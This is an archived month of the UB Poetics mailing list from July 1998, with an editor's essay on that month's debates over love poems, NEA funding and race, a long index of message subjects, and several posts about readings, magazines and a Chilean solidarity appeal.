The classroom teacher was Anne Yerger, and the writers-in-residence from Teachers and Writers Collaborative were Chris Edgar and myself. Anyway, Pinsky's _met_ David Frey, and I believe he knows that writers-in-residence programs put poets in schools in New York, San Francisco, Houston, Chicago, Minneapolis, Seattle, and smaller cities across the country. He may also be aware that some places consider an MFA qualification enough to apply to be certified (as teachers, you wags).

Releasing the umfas on the schools might not be such a bad idea -- not for full year classes, but for ten or twenty-day gigs. Why not make it a movement at the next AWP convention? or the MLA, for that matter, to have some kind of community service (e.g. public school) requirement for graduation might be a little old-shoe, but what about offering that service to the community?

Jordan Davis

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1055. **Tosh**
Re: Slams
Tue 30 Jun 1998

><<Slams have always struck me as thinly veiled Public Relations
>events held to "showcase" various "personalities" who are looking for a
>spot in a beer commercial.>>
>
>Slams allow you to go to a poetry reading without having to admit you've been
>to a poetry reading.
>
What's wrong with going to a poetry reading? Why does one have to admit or not to admit to go hear (or see) poetry?

Tosh Berman

TamTam Books

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1056. **toddbaron**
burning decks
Wed 1 Jul 1998

Does anyone have a current address for Rosmarie W. and Burning Deck> ?<

thanks,

Todd Baron

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1057. **toddbaron**
Re: Slams
Wed 1 Jul 1998

---

tosh:

the reason is not reasonable--but "slams"
are not reasonable--as competition isn't--and does NOTHING
for the language. Subversion
does more.

Todd Baron
----------!

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1998

866 messages · Tue 30 Jun 1998 – Fri 31 Jul 1998

July 1998 was a month the world spent celebrating and accusing — France lifted a World Cup it had hosted, the capital's grand juries circled the President — and the Poetics list attended to neither. The one strand of news it consented to touch was where poetry brushes the state: the Supreme Court had just upheld the decency clause the National Endowment had used against Karen Finley, Robert Pinsky wore the laureate's wreath, and the White House had lately staged an evening of poetry for the cameras. That last was too much for John Tranter, who forwarded the press release from Australia under a subject that served as the month's real epigraph: Why does this make me want to throw up?

What the room did at length, and with unusual tenderness, was argue about the love poem. Patrick Durgin opened it, wondering *"how efficacious the love poem can be"* — whether a poem addressed to another accomplishes anything, or is only the lyric self talking to itself — and for forty messages the list turned it over: Stein and Woolf, sentiment and its embarrassments, the I who loves and the I who writes. It was the list near its best, until it did what it always does and made an aesthetics an accusation: when Simon DeDeo pressed the claims of the self, Henry Gould answered a charge of elitism with *"I will call you a Black Shirt."* Even love, here, turned into a question of who was permitted to speak.

The same reflex governed the month's loudest quarrel, which concerned power in its plainer form. Ron Silliman opened the NEA thread by noting the laureate's studied refusal to say anything about the Finley ruling — *"makes you feel special about the post of poet laureate"*, he wrote — and the room divided along its oldest fault: Maria Damon and Herb Levy for the artist and the First Amendment, Douglas Messerli lampooning the official apparatus, a contrarian Henry Gould asking, of Finley's work, whether it was finally art. Government money, the decency clause, the laureate's silence: the list argued them the way it argues everything, as a referendum on who gets to hold the floor.

Running underneath was a second argument about who may speak, on the ground where the list is least sure of itself. Brent Long had provoked the room on what he called reverse racism — Maya Angelou, the prize given to Lois-Ann Yamanaka — and Rachel Levitsky answered that this mistook the whole matter, racism being *"an issue of institutional domination"* rather than a charge any reader can level in either direction. It was the month's same question turned onto

race, and it unsettled the clean free-speech absolutism of the Finley thread: the room that would defend any transgression at the NEA felt the ground shift the moment the transgression was a racial one.

For all that litigating of who may speak, the room fell quiet before the two deaths closest to it. On the seventh, Albert Cook died — the man who had brought Olson and Creeley to Buffalo and built the very institution this list is the afterlife of — and Charles Bernstein marked it in a single post: *“Forrest Gander just sent this sad news to me.”* No thread followed. Three weeks later the Polish poet Zbigniew Herbert died, and reached the room only as a forwarded obituary, praising a man *“answerable to no one except his own conscience.”* I have set the month’s long argument over permission beside those two unanswered notices exactly as July delivered them, because that is the room’s hardest habit to forgive: it will spend a hundred messages on who may speak, and fall silent for the ones who no longer can.

— Kristen M. Fabians

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386. Elizabeth Treadwell — Poetics/Poetry Dept. degrees
387. Elizabeth Treadwell — my additional thot
388. k.a. hehir — Re: quartermain/cadell intro
389. Elizabeth Treadwell — interior decorating
390. Safdie Joseph — Money
391. Christopher W. Alexander — Re: Why does this make me want to throw up?
392. Maria Damon — Re: quartermain/cadell intro
393. toddbaron — Re: Poetix programs?
394. toddbaron — Re: Poetix programs?
395. toddbaron — Re: Poetics/Poetry Dept. degrees
396. toddbaron — Re: my additional thot
397. toddbaron — Re: interior decorating
398. Jordan Davis — bad total
399. John Tranter — Re: Why does this make me want to throw up?

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400. Douglas Oliver — Re: Other
401. Gwyn McVay — comment? narrative closure
402. Douglas — New title and news
403. daniel bouchard — Call Forth Further Notes to Poetry -Forwarded
404. henry — Re: Call Forth Further Notes to Poetry -Forwarded
405. Pritchett,Patrick — Re: Last Blast from Naropa
406. Billy Little — Re: Why does this make me want to throw up?
407. joel lewis — recent work
408. Gary Sullivan — Re: Call Forth Further Notes to Poetry -Forwarded
409. groberts — Re: Other introductions
410. Henry Gould — *money
411. ken|n|ing — Re: bad total
412. Miekal And — Re: Last Blast from Naropa
413. Jordan Davis — Re: bad total
414. Christopher W. Alexander — Re: Call Forth Further Notes to Poetry -Forwarded
415. Henry — Re: Call Forth Further Notes to Poetry -Forwarded
416. Christopher W. Alexander — Re: Call Forth Further Notes to Poetry -Forwarded
417. Henry g — Re: Call Forth Further Notes to Poetry -Forwarded

418. Elizabeth Treadwell — lit. scene in LA. --Cal-arts/ Moving Bdrs anth
419. Safdie Joseph — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
420. R. Gancie/C.Parcelli — "simple location"
421. Elizabeth Mathews Losh — Heidegger's Poetics in American Poetry
422. Jordan Davis — the poetics of importance
423. Lawrence Upton. — vispo book - writers forum 750th publication
424. shemurph — Re: Heidegger's Poetics in American Poetry
425. Pritchett,Patrick — Re: The Real Last Blast from Naropa
426. Rachel Levitsky — Re: The Real Last Blast from Naropa
427. Rachel Levitsky — Re: Poetix programs
428. Laura E. Wright — Re: Poetix programs
429. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
430. David Baratier — Re: Call Forth Further Notes to Poetry -Forwarded
431. George Thompson — Re: The Real Last Blast from Naropa
432. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
433. David Baratier — new release
434. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
435. toddbaron — Re: the poetics of importance
436. Tosh — Re: New title and news
437. Steve Shoemaker — strange query
438. toddbaron — Re: your order
439. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
440. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
441. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth

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442. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
443. Tom Beard — Re: romantic-not women duelling
444. Jordan Davis — liber libre tt o (shleep)
445. Christian Roess — Re: Heidegger's Poetics in American Poetry
446. Christian Roess — Re: Heidegger's Poetics in American Poetry
447. Christian Roess — Re: Heidegger's Poetics in American Poetry
448. Christian Roess — Re: Heidegger's Poetics in American Poetry
449. rsillima — LA Confidential
450. Susan Wheeler — Re: The Writing Center, San Diego
451. Douglas — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
452. Poetics List Administration — this is only a test
453. Burt Kimmelman — Re: Heidegger's Poetics in American Poetry
454. Burt Kimmelman — Re: Heidegger's Poetics in American Poetry
455. Mark DuCharme — Re: Poetix programs?
456. Mark DuCharme — Re: Poetix programs
457. Henry Gould — wrasslin with Rasula
458. David Baratier — Re: new release
459. Linda Russo — Re: vomit & politix & poetizing
460. toddbaron — Re: LA Confidential
461. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
462. Safdie Joseph — Re: wrasslin with money
463. tracy s. ruggles — Re: Poetix programs
464. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
465. Wendy Battin — Re: plasma & other hotstuff

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466. louis stroffolino — Re: wrasslin with Rasula (what about a. watts?)
467. Catherine Daly — LA Job Announcements and re:readings
468. George Bowering — Re: well, now
469. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
470. toddbaron — Re: Poetix programs

471. Maria Damon — Re: Poetix programs
472. Mark Prejsnar — Re: wrasslin with Rasula
473. Michael Franco — BOSTPN ALT POFEST FRIDAY UPDATE
474. Michael Magee — never mind the canon, here's COMBO!
475. Henry Gould — *wrasslin with Rasula
476. tracy s. ruggles — Re: Poetix programs
477. Henry Gould — teaching poetry network...
478. daniel bouchard — Re: teaching poetry network...
479. Tosh — (no subject)
480. Loss Pequen~o Glazier — New Issue of Passages
481. sylvester pollet — Re: teaching poetry network
482. louis stroffolino — Re: *wrasslin with Rasula
483. Jordan Davis — global branding & T&W
484. henry — Re: teaching poetry network...
485. Michael Magee — Re: *wrasslin with Rasula
486. Laura E. Wright — Re: Poetix programs
487. Mark Prejsnar — puppets in the main stream
488. daniel bouchard — Re: teaching poetry network...
489. Henry — Re: puppets in the main stream
490. Tosh — poetics and l.a.
491. Maria Damon — Re: teaching poetry network...
492. R. Gancie/C.Parcelli — Meyerson radical on relativity.
493. Linda Russo — Re: interior decorating
494. Mark Prejsnar — Suspicion and the State
495. sylvester pollet — Re: global branding & T&W
496. Michael Coffey — never mind the canon, here's COMBO! -Reply
497. Michael Coffey — poetics and l.a. -Reply
498. toddbaron — (no subject)
499. maz881 — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
500. Gwyn McVay — forgotten women
501. Laura E. Wright — Re: Poetix programs
502. Mark Prejsnar — Re: forgotten women
503. toddbaron — Re: Poetix programs
504. ken|n|ing — [publication announcement]
505. ken|n|ing — Susan Schultz?
506. toddbaron — Re: interior decorating
507. Billy Little — Re: la scene/ vispo book - writers forum 750th publication
508. Gwyn McVay — Kyger/Renaissance
509. Tosh — Re: poetics and l.a. -Reply
510. Tosh — Re: la scene/ vispo book - writers forum 750th publication
511. toddbaron — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth

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512. Alan Jennifer Sondheim — Difficult and Delicate Matter
513. Daniel Carter — assume the position!
514. Daniel Carter — EXCESSive multi-directionally yet well-aimed onglowing ecologically dynamic...
515. Daniel Carter — fire-sighed chap-hook gallery 'n' guylery
516. MAYHEW — I'm ba-ack
517. Michael Magee — Re: never mind the canon, here's COMBO! -Reply
518. Joe Amato/Kass Fleisher — signing off for a spell...
519. Catherine Daly — LA Lit Orgs
520. Matt Kirschenbaum — Blake Archive's July Update
521. Mark DuCharme — Re: Call Forth Further Notes to Poetry -Forwarded
522. Mark DuCharme — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
523. Elizabeth Treadwell — bread & its crumbs--

524. Elizabeth Treadwell — no subject or I LOVE LA
525. charles alexander — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
526. toddbaron — Re: LA Lit Orgs
527. dbkk — forgotten women
528. trbell — Re: Call Forth Further Notes to Poetry -Forwarded

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529. MAXINE CHERNOFF — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
530. Poetics Agent 288793 — no confidence/UPDATE
531. Alan Jennifer Sondheim — LostTime
532. Orpheus — Since
533. Tosh — Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
534. J Kimball — Re: POETICS Digest - 17 Jul 1998 to 18 Jul 1998 (#1998-5)
535. ken|n|ing — Private Eye
536. R. Gancie/C.Parcelli — "Reason , faced with a datum, "
537. Dan or Orion Raphael Dlugonski — Local scenes
538. Catherine Daly — LA Lit. Orgs.
539. Rachel Levitsky — Re: For Bay Area Activists
540. Carl Lynden Peters — address search for DIFFERENCE ENGINE

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541. Mark Salerno — Hard Press Contact Info
542. rachel s. kubie — Henry Dumas Tribute in Baltimore
543. linda russo — Re: post-Fem/For you Guys too
544. linda russo — Guest (for Notley)
545. Jordan Davis — Jamie MacInnis
546. Katherine Lederer — Announcing SHARK, a magazine of poetics
547. Douglas Barbour — Re: Lost Time
548. Maria Damon — Re: forgotten women
549. Simon DeDeo — Re: I'm ba-ack
550. Linda Russo — post-Fem/For you Guys too
551. Simon DeDeo — Re: post-Fem/For you Guys too
552. Simon DeDeo — (no subject)
553. Alan Jennifer Sondheim — Re: Guest (for Notley)
554. Mark Prejsnar — Re: post-Fem/For you Guys too
555. joel lewis — f.y.i.
556. sylvester pollet — Re: Guest (for Notley)
557. Simon DeDeo — Re: post-Fem/For you Guys too
558. rsillima — Poetry Daily
559. rsillima — Bay Area representationalism
560. Tom Beard — Dream meanings

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561. trbell — Re: Guest (for Notley)
562. Alan Jennifer Sondheim — Re: Guest (for Notley)
563. toddbaron — Re: post-Fem/For you Guys too
564. toddbaron — self promotion
565. toddbaron — Re: post-Fem/For you Guys too
566. linda russo — SF READINGS ?
567. Henry Gould — Re: post-Fem/For you Guys too
568. Andrea Brady — New Book by Jordan Davis (for uber list) (forwarded)
569. Maria Damon — yo silliman finch et al
570. Maria Damon — query
571. daniel bouchard — Came to Cambridge: Not Bean-ville
572. Christopher W. Alexander — Re: Came to Cambridge: Not Bean-ville
573. Simon DeDeo — Subject & Technique
574. Henry — Re: Subject & Technique

575. Simon DeDeo — Occult Epics
576. groberts — Re: Came to Cambridge: Not Bean-ville
577. Linda Russo — Re: Guest (for Notley)
578. Linda Russo — Re: post-Fem/For you Guys too
579. Elizabeth Treadwell — Jen Hofer/Lori Lubeski reading in San Fran
580. Linda Russo — Re: post-Fem/For you Guys too
581. henry g — Re: post-Fem/For you Guys too
582. Christopher W. Alexander — Re: post-Fem/For you Guys too
583. groberts — Re: Came to Cambridge: Not Bean-ville
584. Steven Marks — Re: Came to Cambridge: Not Bean-ville
585. Elizabeth Treadwell — postwomen+ (or is not equal to) speculative equations
586. louis stroffolino — Re: Came to Cambridge: Not Bean-ville
587. Pritchett,Patrick — Re: Came to Cambridge: Not Bean-ville
588. Michael Franco — dromenon / lift back-list
589. R M Daley — pen(is)essesss post-Fem/For you Guys too
590. Lisa Samuels — new O book by Lisa Samuels
591. Kevin Varrone — address query
592. toddbaron — Re: post-Fem/For you Guys too
593. Susan Wheeler — Re: Came to Cambridge: Not Bean-ville

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594. Christian Roess — Re: Came to Cambridge: Not Bean-ville
595. Safdie Joseph — Re: pen(is)essesss post-Fem/For you Guys too
596. trbell — Re: Guest (for Notley)
597. Linda Russo — Re: post-Fem/For you Guys too
598. Rachel Levitsky — Re: For Joel K. (2 wks late)
599. henry g — Re: post-Fem/For you Guys too
600. Franklin Bruno — combo?
601. ken|n|ing — The A's and B's of small press publishing:
602. Linda Russo — Re: pen(is)essesss post-Fem/For you Guys too
603. Linda Russo — Re: pen(is)essesss post-Fem/For you Guys too
604. R. Gancie/C.Parcelli — reductio ad absurdum
605. Bradford J Senning — room
606. toddbaron — Re: pen(is)essesss post-Fem/For you Guys too
607. toddbaron — Re: For Joel K. (2 wks late)
608. Safdie Joseph — Re: pen(is)essesss post-Fem/For you Guys too
609. Alaric Sumner — Michael Basinski reviews The Unspeakable Rooms
610. raea100900 — Poetry Daily Website
611. joel lewis — life in late capitalist society (f.y.i)
612. Maria Damon — queries
613. George Bowering — Re: weaving/tying
614. George Bowering — Re: queries
615. d.j. huppatz — new webpage/journal
616. Alan Jennifer Sondheim — Re: Guest (for Notley)
617. toddbaron — Re: pen(is)essesss post-Fem/For you Guys too

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618. J. Kuszai — BEYOND THE PAGE (SD CA Reading Series) from Stephen Cope
619. Douglas Oliver — Re: Oulipo
620. david bromige — reductio ad absurdum
621. Alan Jennifer Sondheim — re /dream
622. Simon DeDeo — back from the 19th century
623. John Cayley — subpo
624. sean bonney — rooms in london?
625. Simon DeDeo — Re: pen(is)essesss post-Fem/For you Guys too
626. Douglas Barbour — Re: post-Fem/For you Guys too
627. henry g — Re: post-Fem/For you Guys too

628. David Baratier — Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
629. Mark Prejsnar — oulipo howlipo whylipo wherelipo
630. R.Gancie/C.Parcelli — Re: reductio ad absurdum
631. Carolyn Guertin — BeeHive #2
632. Fredrik Hertzberg LIT — Re: oulipo howlipo whylipo wherelipo
633. henry — Re: post-Fem/For you Guys too
634. George Thompson — Re: post-Fem/For you Guys too
635. J. Kuszai — New from Meow Press
636. Linda Russo — Re: re /dream
637. Linda Russo — Re: pen(is)essesss post-Fem/For you Guys too
638. louis stroffolino — John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
639. Michael Magee — Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
640. toddbaron — Re: post-Fem/For you Guys too
641. louis stroffolino — Party
642. henry — Re: post-Fem/For you Guys too
643. louis stroffolino — DICKINSON
644. daniel bouchard — Re: Party
645. Michael Magee — Re: DICKINSON
646. Henry g — Re: post-Fem/For you Guys too
647. Christopher W. Alexander — wiggling fare-thee-well query
648. Laura E. Wright — Re: pen(is)essesss post-Fem/For you Guys too
649. Charles Bernstein — Re: Poetry Daily Website
650. dbkk — CS Giscombe directory assistance
651. Linda Russo — Re: postwomen+ (or is not equal to) speculative equations
652. Katherine Lederer — Re: Party
653. toddbaron — Re: post-Fem/For you Guys too
654. R M Daley — Re: Party
655. Elizabeth Treadwell — Re: POETICS Digest - 21 Jul 1998 to 22 Jul 1998 (#1998-9)
656. Karen Kelley — Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
657. toddbaron — Re: pen(is)essesss post-Fem/For you Guys too
658. toddbaron — I will not stand undressed for use!

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659. Orpheus — adam Dalgliesh
660. Orpheus — who
661. Orpheus — poetics/patriarchy
662. toddbaron — Re: POETICS Digest - 21 Jul 1998 to 22 Jul 1998 (#1998-9)
663. Alan Jennifer Sondheim — Sermounts
664. George Bowering — Re: oulipo
665. david bromige — rew : adam dalgleish
666. david bromige — who
667. david bromige — poetics/patriarchy
668. Douglas — Re: queries
669. Robert D'Attilio — Re: Party
670. Rachel Loden — Your friend E Dickinson
671. KENT JOHNSON — (Fwd) On the SAWSJ Conference and After
672. raea100900 — Re: Directory Assistance
673. Elizabeth Treadwell — Re: postwomen+ (or is not equal to) speculative equations
674. Carla Billitteri — Re: postwomen+ (or is not equal to) speculative equations
675. Susan Wheeler — Re: Party
676. Maria Damon — Re: queries
677. toddbaron — Re: Directory Assistance

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678. Simon DeDeo — Re: rhyme & reason
679. MAYHEW — I dislike chilled soups
680. MAXINE CHERNOFF — Query

681. Elizabeth Treadwell — Yedda Morrison's _The Marriage of the Well Built Head_
682. toddbaron — Re: Yedda Morrison's _The Marriage of the Well Built Head_
683. Alan Jennifer Sondheim — Kathy's Diary (last of 2 installments)

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684. MAXINE CHERNOFF — Re: Yedda Morrison's _The Marriage of the Well Built Head_
685. david bromige — hugh steinberg's e-whereabouts
686. raea100900 — Re: Poetry Daily
687. Rachel Levitsky — Re: For J. Mayhew
688. Rachel Levitsky — Re: oulipo howlipo whylipo wherelipo
689. Orpheus — Poets
690. Tosh — Inagaki Taruho
691. Alan Jennifer Sondheim — Re: Inagaki Taruho

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692. KENT JOHNSON — Saving Private Ryan
693. louis stroffolino — Re: John Yau's MY SYMPTOMS
694. izak — Re: Saving Private Ryan
695. david bromige — Re : Saving Private Ryan
696. ShaunAnne Tangney Humanities — Re: Saving Private Ryan
697. Gary Sullivan — Re: Saving Private Ryan
698. Mark Weiss — Re: Saving Private Ryan
699. Alan Jennifer Sondheim — Re: Re : Saving Private Ryan
700. k.a. hehir — FEAST 27 July (fwd)
701. Roger Farr — "Book Fungus Can Get You High"
702. Rachel Levitsky — Re: Re : Saving Private Ryan
703. David Kellogg — Saving Private Ryan
704. MAXINE CHERNOFF — Re: Saving Private Ryan
705. daniel bouchard — Re: Saving Private Ryan
706. Laura E. Wright — Re: FEASTing on Oulipo
707. Gary Sullivan — FW: Can you post this on poetics list? Thanks, David
708. Marjorie Perloff — Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
709. Billy Little — Re: Saving Private Ryan
710. louis stroffolino — Re: Saving Private Ryan
711. MAXINE CHERNOFF — Re: Saving Private Ryan
712. Rachel Levitsky — Re: Hello I must be going
713. Don Cheney — Re: Hello I must be going
714. Karen Kelley — Re: John Yau's MY SYMPTOMS
715. david bromige — poets & patriarchy (Orpheus Deconstructed)
716. Rachel Loden — Re: Saving Private Ryan

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717. Tosh — Re: Saving Private Ryan
718. Simon DeDeo — Re: Saving Private Ryan
719. Marjorie Perloff — Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
720. k.a. hehir — haraldo de campos
721. J. Kuszai — Meow Press is Moving!
722. David Kellogg — Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
723. daniel bouchard — what doing there? why play that?
724. Pritchett,Patrick — Re: Her Privates We
725. Mark Prejsnar — Re: FEASTing on Oulipo
726. Mark Prejsnar — saving public poets in a pentagon world
727. daniel bouchard — How
728. Fred Muratori — Saving Matt Damon
729. Alan Jennifer Sondheim — Re: saving public poets in a pentagon world
730. Alan Jennifer Sondheim — Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
731. henry gould — Re: Saving Matt Damon

732. Mark Prejsnar — Re: How
733. Gwyn McVay — representations, 'just wars'
734. hery gould — the hostilities
735. Michael Magee — Re: Saving Matt Damon
736. Hilton Manfred Obenzinger — Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
737. dbkk — postfeminist playground
738. Rachel Loden — Re: saving public poets in a pentagon world
739. Alan Jennifer Sondheim — Re: saving public poets in a pentagon world
740. toddbaron — Re: film and war: in Hollywood--isn't that like ...
741. Rachel Loden — Re: saving public poets in a pentagon world
742. Chris McCreary — address query/Joseph Torra

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743. Steve Shoemaker — Re: Her Privates We
744. Tom Orange — How
745. Keith Tuma — anglo-american poetic relations
746. Mark Weiss — Re: John Yau's MY SYMPTOMS
747. George Bowering — Re: Saving Private Ryan
748. George Bowering — Re: FASTing on Oulipo
749. George Bowering — Re: ww2)
750. L. MacMahon and T.R. Healy — A Review of Trevor Joyce's Syzygy.
751. Simon DeDeo — Re: angling american poetic redactions
752. Robert Archambeau — Re: anglo-american poetic relations
753. Michael Magee — Re: Saving Private Ryan
754. Robert Archambeau — Re: angling american poetic redactions
755. dee morris — Re: Saving Private Ryan
756. Poetics List — Kinsella on Prynne (fwd)
757. Pritchett,Patrick — Re: Saving Private Ryan
758. Mark Prejsnar — angling american poetic redactions
759. Pritchett,Patrick — Re: Zbigniew Herbert dies
760. Mark Prejsnar — S. Howe, or, they laffed when i sat down in the critics' chair
761. Simon DeDeo — Re: Was it a "good war"?
762. Kristen Gallagher — address query
763. groberts — Re: anglo-american poetic relations
764. Mark Weiss — Re: Saving Private Ryan
765. Keith Tuma — Re: anglo-american poetic relations
766. daniel bouchard — chris alexander
767. Mark Weiss — Re: angling american poetic redactions
768. David Baratier — Re: request for info on cantaloupo
769. daniel bouchard — Re: anglo-american poetic relations
770. David Baratier — vietnam veteran poems vs. hollywood adaptation
771. Mark Prejsnar — Coke from the Vendling machine
772. Keith Tuma — Re: angling american poetic redactions
773. Louis Cabri — request for info on cantaloupo
774. Mark DuCharme — Re: the war room (strange love?)
775. Mark DuCharme — Re: (t)angling american poetic redactions
776. Pritchett,Patrick — Re: un petit pont de pierre (fwd)
777. David Erben (Art) — Re: un petit pont de pierre (fwd)
778. toddbaron — the war room
779. Don Cheney — Saving Private Ryan
780. David Baratier — Re: Was it a "good war"?
781. KENT JOHNSON — Was it a "good war"?
782. Amarnath V. Rauva — Re: POETICS Programs
783. Charles Bernstein — Settling New Scores
784. Tom Beard — Symptoms of Oulipo women
785. David Baratier — [Fwd: fixing to die]

786. Alan Jennifer Sondheim — Writing.out

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787. charssmith — Re: How
788. Alan Jennifer Sondheim — fixing to die
789. Tosh — Re: fixing to die
790. John Tranter — Announcing Jacket # 4
791. Anthony lawrence — Re: fixing to die
792. Rodrigo Toscano — Query: Robert Kocik
793. George Bowering — Re: Symptoms of Oulipo women
794. Aviva Vogel — Re: Poetix programs
795. Poetics Agent 288793 — Re: How (fwd)
796. Fredrik Hertzberg LIT — Shoptaw's units of measurement
797. daniel bouchard — Re: Adverts
798. henry gould — anglo/amer yeatspound
799. Mark Prejsnar — Re: Symptoms of Oulipo women
800. Fredrik Hertzberg LIT — Shoptaw's units of measurement II
801. L Emerson — Re: POETICS Programs
802. Erik Sweet — "Tool a Magazine" Party 8/14!!!!NYC
803. Corey McLeod — Re: POETICS Programs
804. Gary Sullivan — d.a.levy / call for papers, etc.
805. Jessica Smith — Re: POETICS Programs
806. Michael Magee — poetix programs
807. Carl Lynden Peters — Re: d.a.levy / call for papers, etc.
808. Gary Sullivan — some levy sites
809. maz881 — Re: the war room
810. Rachel Loden — Re: the war room
811. maz881 — Re: anglo-american poetic relations
812. linda russo — postfeminist POETICS JOURNAL?
813. linda russo — Re: POETICS Programs
814. KENT JOHNSON — Oh Henry!
815. linda russo — Re: BeeHive #2
816. toddbaron — Re: POETICS Programs
817. toddbaron — Re: the war room
818. Jessica Smith — Re: POETICS Programs
819. izak — Re: POETICS Programs

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820. Tom Orange — thanks on howe
821. Kathy Lou Schultz — Poetics programs, etc.
822. groberts — ONE NIGHT STAND
823. trbell — Re: anglo/amer yeatspound
824. Douglas Oliver — Re: anglo-american literary relations
825. rsillima — Question of a "good war"
826. linda russo — Re: Poetics programs, etc.
827. henry — Re: Oh Henry!
828. henry — Re: anglo/amer yeatspound
829. R. Gancie/C.Parcelli — "a great Peeeeacock"
830. Gwyn McVay — Re: POETICS Programs
831. henry gould — crabby bull
832. louis stroffolino — Re: John Yau's MY SYMPTOMS
833. louis stroffolino — Re: Question of a "good war"
834. Mark Prejsnar — Re: Poetics programs, etc.
835. Robert Archambeau — Re: anglo-american literary relations
836. Mark Prejsnar — Re: anglo-american literary relations
837. david bromige — creeley and WW2; s. howe, writings about
838. Fredrik Hertzberg LIT — Shoptaw III

839. Reinfeld, Linda — Susan Howe
840. louis stroffolino — Re: Poetics programs, etc.
841. Mark Prejsnar — Re: Poetics programs, etc.
842. Don Byrd — Re: Poetics programs, etc.
843. Maryrose Larkin — Re: Poetics programs, etc.
844. Mark Prejsnar — Re: Poetics programs, etc.
845. Gary Sullivan — Groovy Stein Collaborator on "Academic"
846. Gary Sullivan — My Definition of Academic
847. R. Gancie/C.Parcelli — the end of the Hilbertian experiment
848. R. Gancie/C.Parcelli — Re: Question of a "good war"
849. Gary Sullivan — VACATION!
850. Robert Corbett — Re: anglo/amer yeatspound
851. MAYHEW — Huranku Ohara
852. Mark Prejsnar — Enigmatic Listmember on "Academic"
853. John Latta — Re: My Definition of Academic
854. toddbaron — Re: Poetics programs, etc.
855. MAYHEW — Yeatpound
856. toddbaron — PS: THE LAW
857. Christine Palma — Your contact information, please.
858. Karen Kelley — Re: John Yau's MY SYMPTOMS
859. L Emerson — Re: Poetics programs, etc.
860. maz881 — Zinc Bar Reading
861. Kathy Lou Schultz — Poetix programs/my little tirade
862. Matt Kirschenbaum — Re: My Definition of Academic
863. Tosh — Re: fixing to die
864. Katherine Lederer — Re: Poetics programs, etc.
865. Alan Jennifer Sondheim — Re: My Definition of Academic
866. KENT JOHNSON — Re: Question of a "good war"

1. David Baratier

Re: lib of poetry [what I suggest we should do]

Tue 30 Jun 1998

---

poets in some parts of North America DONATE copies of their works, gratis, to [libraries]

I understand poets do this. They receive their copies from publishers. In your experience as a publisher is this your suggestion?

Some publishers use their time and resources to manifest materials for causes they consider to be of value. Having our publication sold to libraries has played a part in achieving this aim.

The inevitable consequence
of a well-directed life is death
and the inevitable consequence
of a misdirected life
is also death.

At night I keep telling myself
go to sleep nobody is to blame
we are what we are
the world is what it is

--Richard Shelton

I think of this poet and Joe Bruchac and how much work they have done for poetry whenever I hear of people patting themselves on the back and telling others what to do when they haven't done the action themselves. The anthology _House of the Dead_ edited by Joe Bruchac and William Witherup changed my life because it opened up the realm of possibilities as both a writer and editor.

Be well

David Baratier

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2. John Tranter

Jacket # 4

Wed 1 Jul 1998

Jacket # 4 is now under construction, at this URL:

http://www.jacket.zip.com.au/jacket04/

So far . . .

David Lehman on Postmodernism, Eliot Weinberger on the mysterious ghosts of Iceland, a review of Enzensberger's "Kiosk" by Lawrence Joseph, John Tranter: Mr Rubenking's "Breakdown" - on computers and writing, Ric Caddel and Peter Quartermain : OTHER British and Irish Poetry since 1970, Forrest Gander - review of Yasusada : DOUBLED FLOWERING, Noel King's interview with Pete Ayrton, publisher of Serpent's Tail books,

a selection of poems by M.T.C.Cronin, Gary Catalano, Robert Vandermolen, Adam Aitken, Elaine Equi, Rod Mengham, Tony Lopez, David Lehman, Charles Alexander and Sheila Murphy, and Ian Patterson,

as well as "Great Moments in Literature # 13 - Kleist reduced to haiku", "Dangerous Liaisons # 91 - Jo and Meg in Mexico", and a perspicacious and peculiar Portuguese perspective of the April 1998 Cambridge (England) Conference of Contemporary Poetry - and more pieces are being added week by week. Final fitting: late July 1998. Earlier issues of Jacket remain on view.

Please tell your friends . . .

John Tranter, editor, Jacket magazine, http://www.jacket.zip.com.au

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3. trbell

Re: [Fwd: Solidarity]

Wed 1 Jul 1998

Bob, In light of recent discussions here about the political impact of poetry, could you give some more information or ask Clemente for further background.

tom bell

At 08:19 AM 6/30/98 -0400, you wrote:
>>Date: Fri, 26 Jun 1998 18:12:35 -0300
>>From: Clemente Padín <[redacted]>
>>Subject: Solidarity
>>
>>SOLIDARIDAD
>>
>>
>> Finalmente, Humberto Nilo Saavedra, Director y Académico de la
>>Escuela de Artes de la Facultad de Artes de la Universidad de Chile fue
>>virtualmente echado de su cargo por los sectores universitarios
>>reaccionarios pinochetistas. La gota que colmó el vaso fue la exposición de
>>arte correo "STOP: libertad, diversidad y pluralismo" en el Museo de Arte
>>Contemporánea de Santiago que Humberto Nilo había organizado para
>>defenderse de las persecuciones que estaba soportando desde hace largos

